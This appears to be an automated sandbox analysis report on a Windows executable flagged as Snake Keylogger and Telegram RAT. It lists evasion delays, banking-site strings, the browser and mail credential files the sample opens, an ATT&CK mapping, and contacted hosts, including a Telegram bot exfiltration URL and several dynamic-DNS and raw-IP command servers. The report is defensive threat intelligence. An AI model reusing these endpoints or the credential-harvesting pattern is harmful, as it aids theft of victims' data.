Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_0040622D FindFirstFileW,FindClose,	1_2_0040622D
Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_00402770 FindFirstFileW,	1_2_00402770
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00402770 FindFirstFileW,	3_2_00402770
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405772
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0040622D FindFirstFileW,FindClose,	3_2_0040622D

Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598640	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597874	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597327	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595210	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: ________.exe, 00000003.00000002.3954718526.00000000025B8000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3954718526.000000000260E000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3954718526.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000033DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: ________.exe, 00000003.00000002.3976863799.0000000034111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\________.exe	API call chain: ExitProcess graph end node			graph_1-4789
Source: C:\Users\user\Desktop\________.exe	API call chain: ExitProcess graph end node			graph_1-4791

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

1_2_00406254

Source: C:\Users\user\Desktop\________.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Process created: C:\Users\user\Desktop\________.exe "C:\Users\user\Desktop\________.exe"

Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Users\user\Desktop\________.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

1_2_00405F0C

Source: C:\Users\user\Desktop\________.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: ________.exe PID: 5916, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\________.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\________.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ________.exe PID: 5916, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: ________.exe PID: 5916, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
________.exe	8%	Virustotal		Browse
________.exe	100%	Avira	HEUR/AGEN.1331786

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
foodex.com.pk	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://mail.foodex.com.pk	0%	Avira URL Cloud	safe
https://fa2ytg.dm.files.1drv.com/	0%	Avira URL Cloud	safe
http://foodex.com.pk	0%	Avira URL Cloud	safe
https://fa2ytg.dm.files.1drv.com/oft	0%	Avira URL Cloud	safe
https://fa2ytg.dm.files.1drv.com/y4m_K24I_IZwtc1os-c0UOoxdtzKrradsOM2iRZNEMhYqB_oUmwpewHC2hedgX3rXjZ	0%	Avira URL Cloud	safe
https://fa2ytg.dm.files.1drv.com/y4mMPMXGbTpZA5YgHaTE31Fc-Wg6Iu9gpthjDJlQ5ie3dz395ZMCu5rd38cOpuGMXl4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	188.114.96.3	true	false		high
foodex.com.pk	37.27.123.72	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	false		high
checkip.dyndns.com	193.122.130.0	true	false		high
fa2ytg.dm.files.1drv.com	unknown	unknown	true		unknown
mail.foodex.com.pk	unknown	unknown	true		unknown
api.onedrive.com	unknown	unknown	false		high
checkip.dyndns.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/173.254.250.68	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20and%20Time:%2012/11/2024%20/%2018:46:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20141700%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	________.exe, 00000003.00000002.3975771250.0000000032F51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.254.250.68$	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032DDC000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032E1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	________.exe	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	________.exe	false		high
https://api.telegram.org	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	________.exe	false		high
https://api.telegram.org/bot	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.foodex.com.pk	________.exe, 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032EFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.onedrive.com/	________.exe, 00000003.00000002.3954718526.00000000025B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/lB	________.exe, 00000003.00000002.3975771250.0000000032F4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	________.exe	false		high
https://fa2ytg.dm.files.1drv.com/oft	________.exe, 00000003.00000003.1735612317.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	________.exe, 00000003.00000002.3975771250.0000000032F20000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032F51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://foodex.com.pk	________.exe, 00000003.00000002.3975771250.0000000032EFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	________.exe	false		high
https://fa2ytg.dm.files.1drv.com/	________.exe, 00000003.00000003.1709008650.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/8ub	________.exe, 00000003.00000002.3975771250.0000000032F42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	________.exe, 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20a	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	false		high
